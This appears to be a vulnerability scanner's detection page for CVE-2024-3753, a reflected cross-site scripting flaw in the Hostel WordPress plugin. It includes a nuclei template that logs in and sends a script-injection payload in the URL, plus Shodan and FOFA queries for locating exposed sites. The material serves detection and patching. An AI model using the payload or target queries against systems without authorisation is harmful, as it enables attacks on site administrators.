Hostel < 1.1.5.3 - Cross-Site Scripting

mediumseverity

5.9CVSS score

0.8%likelihood of exploitation, next 30 days

57%of all CVEs are less likely

Readycheck to confirm it

The Hostel WordPress plugin before 1.1.5.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Impact

Attackers can potentially exploit this XSS vulnerability to gain unauthorized access to sensitive information.

Fix

Update the plugin to Latest version. Fixed in 1.1.5.3.

How to confirm it

Send: GET /
Positive when: contains "/wp-content/plugins/hostel"
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=wphostel_bookings&do=edit&id=&type=upcoming&offset="><script>alert(document.domain)<%2Fscript>&type="><script>alert(document.domai…
Positive when: contains in body_2 "\"><script>alert(document.domain)</script>" AND contains in content_type_2 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-3753 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-3753

info:
  name: Hostel < 1.1.5.3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Hostel WordPress plugin before 1.1.5.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  impact: |
    Attackers can potentially exploit this XSS vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update the plugin to Latest version. Fixed in 1.1.5.3.
  reference:
    - https://wpscan.com/vulnerability/e140e109-4176-4b26-bf63-198262a31409/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3753
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 5.9
    cve-id: CVE-2024-3753
    cwe-id: CWE-79
    epss-score: 0.00801
    epss-percentile: 0.56928
    cpe: cpe:2.3:a:kibokolabs:hostel:*:*:*:*:wordpress:*:*:*
  metadata:
    max-request: 3
    fofa-query: body="/wp-content/plugins/hostel"
    publicwww-query: /wp-content/plugins/hostel/
    shodan-query: http.html:"/wp-content/plugins/hostel/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,hostel,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/hostel"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=wphostel_bookings&do=edit&id=&type=upcoming&offset="><script>alert(document.domain)<%2Fscript>&type="><script>alert(document.domain)<%2Fscript> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: content_type_2
        words:
          - text/html

      - type: status
        status:
          - 200

References

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